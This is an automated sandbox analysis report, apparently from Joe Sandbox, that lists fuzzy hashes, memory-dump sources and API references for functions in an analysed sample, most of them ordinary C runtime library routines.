Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: 2321B373F205394B7B0CC57E8C522BDB6E1C78C601745823AE8A6EA2C1D96CD917E2E4

Function 0041A512 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction ID: 1ad9d6d7365e600a7bb69782b0834f4d420f3f91d9e0c3ac1aa475b9fcfe298e
Opcode Fuzzy Hash: 70aa1c128304840ff80c1a6881110ca736e5edb3ee9a18fd8b7b5cd90a907d72
Instruction Fuzzy Hash: 6521B673F2043947770CC57ECC522BDB6E1C78C501745423AE8A6EA2C1D96CD917E2E4

Function 04CF97F2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: f0098194cef53a99a5c501967b9cf24841fb35c31397b7ca8774a3519f6b4b04
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: 1011A763F30C255B675C81698C1327AA1D2EBD815074F433AD826E7284E8A4EE13D290

Function 04B5A659 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: e73887866517eae7714d013718d8a8bd1de4ec71e4a0f3fa3c223a6bd36a49e9
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: 3911A723F30C255B675C81698C1727AA1D2DBDC14030F433AD826E7284E894DE13D290

Function 0041A3F2 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction ID: f1e66852e6b8581706c01849561528f719d4aeccf6fe4fc0aff0fb2656777429
Opcode Fuzzy Hash: a72ccc6e8b489e63011b81e3a8a50db20cbc6dad3c7a88df22060b293fe79ba1
Instruction Fuzzy Hash: D6118A73F30C255B675C816D8C172BAA5D2EBDC25074F533AD826E7284E998DE23D290

Function 04CE9D60 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 26b9b63659b74d42d569804443eca3166b2110a897851afa81f8b7592a678c22
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 9A1104F72401A243D6048A2FC8F56FBE797EBC632172C426AD0428BB58E333F3559600

Function 04B4ABC7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 7a73fe8d35e3d71c5c24f5c0b821b3dd9abe8ae56d6465770b908d97031b84e3
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: DC1108772C0151439695CB2DDDB41BAA796EBCD32072C46EAD0414F75AD122F544B600

Function 100102A0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6858cf0c51ff5caabfc3a7f957f7e97cc4d55c404d013567cdc706fa4bfc5bf2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5111087774118243D681C56DC4F86ABA3DEFBC52A0729436AF0D28FA58D2F2DAC5A600

Function 0040A960 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: bf3d62387290270b8e9c206f9b330aa6ec5fad9da35dacc9460757c01b80fc97
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 43115EF730038143D704862EC5B45B7E395EBC6321B2F4B7BC0825B7C8C23A9865E50A

Function 00F89D3B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2703351422.0000000000F89000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F89000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f89000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: f8621d0e7f7ea538b4bd5fb6c729e7e6139332c9e12a69cbf877787ff389319b
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: EB1170737441009FDB54DF55DC81FE673EAEB88320B298055ED08CB316D6B5E802D760

Function 04B40D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 293818218bedeef1481949536c6cc3e7b8a6b3c3ef9f58d5a142aa209fb16be8
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 8801A276A006148FDF21EF24CC04BAA33F5EFC6216F4548F5EA0A9B281E774B9459B90

Function 04CF2A6F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: 1921a5297b8c6c131afecabf540933813d04e502e30cb84c4d37dd4a19787586
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 04E08C32911238EBCB24DB9DC90498AF3EDEB44B00B1544A6B601D3200C274EE00E7D0

Function 04B538D6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: 246488dfe49aa5c32b350fed1d045568dcfc0a17c0cb868f336d2f696df64edd
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: 39E08C72911268EBCB25DB8CC945E8AF3FCEB44B80B114496BD01D3220C270EE00C7D0

Function 10007A76 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction ID: 49573a245b17cd2143a7f0a663dc82b9d5ba07e6c12e429f55ccbb336c262c76
Opcode Fuzzy Hash: 225e9490ce15994035050fff8e8d94bbe50aeb352c3921d505d22bbc77bda227
Instruction Fuzzy Hash: CEE08C32E11228EBCB10CB88C940E8AB3ECFB86A80F114096B505E3101D274DF00C7C2

Function 0041366F Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction ID: fd5c11342e53f5fd9e78528a8d63764efe72d1229905d7d1658511e5362cd08d
Opcode Fuzzy Hash: 938b1ef97d91fa147a56b9632c6ce73ee018995428c08987881a566186e623af
Instruction Fuzzy Hash: EEE04632911228EBCB24DF898A08A8AF3ACEB44B09B11049AB501D3210C274DE80C7D4

Function 04CEE30D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction ID: b91f9200a165f7f20a789dd953a104fe294c578cebaf163ccbdad38ff115fb37
Opcode Fuzzy Hash: 9253131997efead4d70db6443559b4166ab1d7f2f85f8f4b6bf8833fc8910a7c
Instruction Fuzzy Hash: E7E04631400148BFCB117F25CC48D993F3AEB00281B004424F90986131CB39EE82DA54

Function 00409088 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,00409066), ref: 00409094
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00409066), ref: 0040909F
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00409066), ref: 004090B0
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 004090C2
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 004090D0
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00409066), ref: 004090F3
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 0040910F
CloseHandle.KERNEL32(00000000,?,?,00409066), ref: 0040911F

Strings

WakeAllConditionVariable, xrefs: 004090C8
SleepConditionVariableCS, xrefs: 004090BC
kernel32.dll, xrefs: 004090AB
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040909A

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: acc3deda13f420712ce33b53dd37b90dad73ad81c8ab949137041f64949c0d3f
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 410196B1F40322ABE7202B75AD0DB963B989B4CB01B154036FD15E2295D77CCC01866D

Function 04CF65E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04CF661C
___free_lconv_mon.LIBCMT ref: 04CF6627

Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF6300
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF6312
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF6324
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF6336
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF6348
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF635A
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF636C
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF637E
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF6390
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF63A2
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF63B4
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF63C6
Part of subcall function 04CF62E3: _free.LIBCMT ref: 04CF63D8

_free.LIBCMT ref: 04CF663E
_free.LIBCMT ref: 04CF6653
_free.LIBCMT ref: 04CF665E
_free.LIBCMT ref: 04CF6680
_free.LIBCMT ref: 04CF6693
_free.LIBCMT ref: 04CF66A1
_free.LIBCMT ref: 04CF66AC
_free.LIBCMT ref: 04CF66E4
_free.LIBCMT ref: 04CF66EB
_free.LIBCMT ref: 04CF6708
_free.LIBCMT ref: 04CF6720

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: b7e77e35eb60a52c49567081d144d294a1647fec1457516d92eb22022a24bd54
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: C8314B317006009FEBA1AE39DC44B5A77EAAF00714F14842AE295D7252DF7AFA51DB20

Function 04B5744A Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 04B5748E

Part of subcall function 04B5714A: _free.LIBCMT ref: 04B57167
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B57179
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5718B
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5719D
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571AF
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571C1
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571D3
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571E5
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B571F7
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B57209
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5721B
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5722D
Part of subcall function 04B5714A: _free.LIBCMT ref: 04B5723F

_free.LIBCMT ref: 04B57483

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B574A5
_free.LIBCMT ref: 04B574BA
_free.LIBCMT ref: 04B574C5
_free.LIBCMT ref: 04B574E7
_free.LIBCMT ref: 04B574FA
_free.LIBCMT ref: 04B57508
_free.LIBCMT ref: 04B57513
_free.LIBCMT ref: 04B5754B
_free.LIBCMT ref: 04B57552
_free.LIBCMT ref: 04B5756F
_free.LIBCMT ref: 04B57587

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction ID: 14cb6ab2ab1a9437f4c82fe233bb491e545522ac7e1cbfa12bd6e5481a9237c1
Opcode Fuzzy Hash: 618733a9981a7d7e15cd004ff7cd88c67c18ad7243d380dd4353b554986c4def
Instruction Fuzzy Hash: 95316B31B00605AFEB25AE3DE844B5AF7E8EF00354F50489AE869D71B0DF74F8409B20

Function 1000A001 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 1000A045

Part of subcall function 1000C420: _free.LIBCMT ref: 1000C43D
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C44F
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C461
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C473
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C485
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C497
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4A9
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4BB
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4CD
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4DF
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C4F1
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C503
Part of subcall function 1000C420: _free.LIBCMT ref: 1000C515

_free.LIBCMT ref: 1000A03A

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000A05C
_free.LIBCMT ref: 1000A071
_free.LIBCMT ref: 1000A07C
_free.LIBCMT ref: 1000A09E
_free.LIBCMT ref: 1000A0B1
_free.LIBCMT ref: 1000A0BF
_free.LIBCMT ref: 1000A0CA
_free.LIBCMT ref: 1000A102
_free.LIBCMT ref: 1000A109
_free.LIBCMT ref: 1000A126
_free.LIBCMT ref: 1000A13E

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4f6d344103cf7811bd09b71d21c977f492913705ec11a3a18dac91d66e09e7eb
Instruction ID: 0af802e5104cca544d2385e0ca1ca05a391064d886f9d3a5cb5d526743884836
Opcode Fuzzy Hash: 4f6d344103cf7811bd09b71d21c977f492913705ec11a3a18dac91d66e09e7eb
Instruction Fuzzy Hash: 24315B31A002059BFB20DA34DC41B8A77E9FB423E0F114519F449E719ADE79FE908761

Function 004171E3 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417227

Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F00
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F12
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F24
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F36
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F48
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F5A
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F6C
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F7E
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416F90
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FA2
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FB4
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FC6
Part of subcall function 00416EE3: _free.LIBCMT ref: 00416FD8

_free.LIBCMT ref: 0041721C

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041723E
_free.LIBCMT ref: 00417253
_free.LIBCMT ref: 0041725E
_free.LIBCMT ref: 00417280
_free.LIBCMT ref: 00417293
_free.LIBCMT ref: 004172A1
_free.LIBCMT ref: 004172AC
_free.LIBCMT ref: 004172E4
_free.LIBCMT ref: 004172EB
_free.LIBCMT ref: 00417308
_free.LIBCMT ref: 00417320

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction ID: edf7faae9d3bf0885fb7c5c7e3fb72ef0fb286978f56b7ec46c8a8d77fdb3eda
Opcode Fuzzy Hash: 78a1156ba884ffaad899c775ae10142786294d6101bc0a8744c53f5092b5fafb
Instruction Fuzzy Hash: A1313D31608204ABEB21AB7AD845BD777F4AF41354F24885BF559D7261EE38ECC1C628

Function 04CEA4DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04CEA5D8
type_info::operator==.LIBVCRUNTIME ref: 04CEA5FA
___TypeMatch.LIBVCRUNTIME ref: 04CEA709
IsInExceptionSpec.LIBVCRUNTIME ref: 04CEA7DB
_UnwindNestedFrames.LIBCMT ref: 04CEA85F
CallUnexpected.LIBVCRUNTIME ref: 04CEA87A

Strings

csm, xrefs: 04CEA585
csm, xrefs: 04CEA518
csm, xrefs: 04CEA631

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: f1706070d7e07c16339ef952349df60172e4e25346c463a27abe9f38e1578fb9
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 8AB17C71800209EFDF29DFA6D9809BEBBB6BF04314B14815AE8156B211D732FA52DB91

Function 04B4B342 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 04B4B43F
type_info::operator==.LIBVCRUNTIME ref: 04B4B461
___TypeMatch.LIBVCRUNTIME ref: 04B4B570
IsInExceptionSpec.LIBVCRUNTIME ref: 04B4B642
_UnwindNestedFrames.LIBCMT ref: 04B4B6C6
CallUnexpected.LIBVCRUNTIME ref: 04B4B6E1

Strings

csm, xrefs: 04B4B498
csm, xrefs: 04B4B37F
csm, xrefs: 04B4B3EC

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction ID: f958f8c1c06dd8ad2a3a2dda83ddbe627588a88ea3576b8e757bd005fb919053
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: 45B16C71C04209EFDF15DFA8C8809AEB7B5FF88314B14459AEA156B211D730FA51EFA1

Function 0040B0DB Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B1D8
type_info::operator==.LIBVCRUNTIME ref: 0040B1FA
___TypeMatch.LIBVCRUNTIME ref: 0040B309
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B3DB
_UnwindNestedFrames.LIBCMT ref: 0040B45F
CallUnexpected.LIBVCRUNTIME ref: 0040B47A

Strings

csm, xrefs: 0040B118
csm, xrefs: 0040B231
csm, xrefs: 0040B185

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
